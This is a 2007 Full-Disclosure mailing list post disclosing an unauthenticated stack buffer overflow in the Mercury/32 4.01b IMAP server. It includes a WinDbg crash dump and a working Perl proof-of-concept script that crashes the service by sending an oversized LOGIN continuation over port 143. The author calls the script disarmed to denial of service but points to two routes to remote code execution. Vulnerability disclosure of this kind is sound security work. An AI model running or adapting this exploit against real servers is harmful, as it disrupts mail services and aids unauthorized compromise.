[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] Mercury/32 4.01b
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Mercury/32 4.01b
- From: mu-b <mu-b@xxxxxxxxxxxxxx>
- Date: Tue, 06 Mar 2007 15:41:25 +0000
Attached is a remote exploit (disarmed PoC) for Mercury/32 4.01b IMAPD.
The vulnerability is located in the call:-
034646AE call sub_346ECD9
which is passes (as third argument) the number of bytes remaining in a
stack buffer in order to construct the complete command from the
continuation data. However the calculation neglects to take into account
the length of the previously supplied command ("1 LOGIN <900 x '\x20'> {255}").
The result of the attached exploit is a DoS (given below), however, remote code
execution is possible in at least two different ways without authentication...
(b24.a70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0456d70c ebx=41414141 ecx=7ffad000 edx=034a2970 esi=00000500 edi=00000000
eip=00441d88 esp=0456d6dc ebp=0456d6ec iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mercuryi!miconfig_proc_3+0xbacd:
0346ed48 8807 mov byte ptr [edi],al ds:0023:04570000=??
(note this may be the same as BID 21110).
--
mu-b
(mu-b@xxxxxxxxxxxxxx)
"Only a few people will follow the proof. Whoever does will
spend the rest of his life convincing people it is correct."
- Anonymous, "P ?= NP"
#!/usr/bin/perl
#
# mercurypown-v1.pl
#
# Mercury/32 <v4.01b (win32) remote exploit
# by mu-b - 28 Nov 2006
#
# - Tested on: Mercury/32 v4.01a (win32)
# Mercury/32 v4.01b (win32)
#
# Stack-based buffer overflow caused by Mercury/32 concatenating
# continuation data into a fixed sized buffer disregarding
# the length of the original command, you do not require authentication.
#
# This is a little harder to exploit than usual since the
# stack frame in question calls end_thread before returning..
# buts it's still possible by at *least* two different ways...
# (i.e. controlling a pointer into sprintf and/or controlling
# a pointer to be free()).
#
########
use Getopt::Std; getopts('t:n:', \%arg);
use Socket;
&print_header;
my $target;
if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }
my $imapd_port = 143;
my $send_delay = 1;
my $NOP = 'A';
my $LEN = 9200;#8928;
my $BUFLEN = 8192;
if (connect_host($target, $imapd_port)) {
print("-> * Connected\n");
$buf = "1 LOGIN".(" "x($LEN-$BUFLEN))."\{255\}\n";
send(SOCKET, $buf, 0);
sleep($send_delay);
print("-> * Sending payload\n");
$buf = $NOP x 255;
send(SOCKET, $buf, 0);
sleep($send_delay);
print("-> * Sending payload 2\n");
$buf = $NOP x $BUFLEN;
send(SOCKET, $buf, 0);
sleep($send_delay);
print("-> * Successfully sent payload!\n");
}
sub print_header {
print("Mercury/32 <v4.01b (win32) remote exploit\n");
print("by: <mu-b\@digit-labs.org>\n\n");
}
sub usage {
print(qq(Usage: $0 -t <hostname>
-t <hostname> : hostname to test
));
exit(1);
}
sub connect_host {
($target, $port) = @_;
$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
return(1337);
}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/